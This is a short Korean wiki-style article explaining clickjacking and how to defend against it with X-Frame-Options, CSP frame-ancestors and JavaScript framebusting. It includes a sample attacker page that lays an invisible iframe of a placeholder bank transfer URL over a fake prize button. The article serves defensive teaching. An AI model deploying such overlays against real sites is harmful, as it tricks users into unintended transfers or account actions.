클릭재킹(Clickjacking)은 사용자가 보이는 요소 위에 투명한 iframe을 올려, 의도하지 않은 페이지의 요소를 클릭하게 유도하는 UI 레드레싱 공격이다.
공격 원리
html
<!-- 공격자 페이지 -->
<!DOCTYPE html>
<html>
<head>
<style>
/* 투명한 타깃 사이트 iframe을 버튼 위에 오버레이 */
#target-iframe {
opacity: 0.0; /* 완전 투명 */
position: absolute;
top: 0; left: 0;
width: 100%; height: 100%;
z-index: 1000; /* 버튼 위에 위치 */
}
#fake-button {
position: absolute;
top: 200px; left: 300px;
z-index: 1;
}
</style>
</head>
<body>
<button id="fake-button">무료 경품 받기!</button>
<!-- 사용자 눈엔 안 보이지만, 실제로는 "계정 삭제" 버튼 위치 -->
<iframe id="target-iframe"
src="https://bank.example.com/transfer?amount=10000&to=attacker">
</iframe>
</body>
</html>
방어: X-Frame-Options
X-Frame-Options 헤더:
DENY: 모든 iframe 차단
SAMEORIGIN: 같은 출처에서만 허용
ALLOW-FROM https://trusted.com: 특정 출처만 허용 (구형, 폐기)
적용 예:
# Nginx
add_header X-Frame-Options "SAMEORIGIN" always;
# Apache
Header always set X-Frame-Options "SAMEORIGIN"
# Express.js (helmet)
app.use(helmet.frameguard({ action: 'sameorigin' }));
방어: Content Security Policy (CSP)
# frame-ancestors 지시어 (X-Frame-Options 대체)
Content-Security-Policy: frame-ancestors 'self';
# 특정 도메인 허용
Content-Security-Policy: frame-ancestors 'self' https://trusted.com;
# 완전 차단
Content-Security-Policy: frame-ancestors 'none';
# 장점: X-Frame-Options보다 세밀한 제어 가능
# 모든 최신 브라우저 지원
JavaScript Framebusting (구형 방어)
javascript
// 구형 방어 (CSP 미지원 환경)
if (window.top !== window.self) {
window.top.location = window.self.location;
}
// 더 강력한 버전
if (window !== window.top) {
document.body.style.display = 'none';
window.top.location.replace(window.location.href);
}
// 문제점: X-Frame-Options/CSP가 훨씬 효과적
// JS 비활성화 시 우회 가능
관련 문서
- •[[open-redirect|오픈 리다이렉트]]
- •[[clickjacking|클릭재킹]]
- •[[waf|WAF]]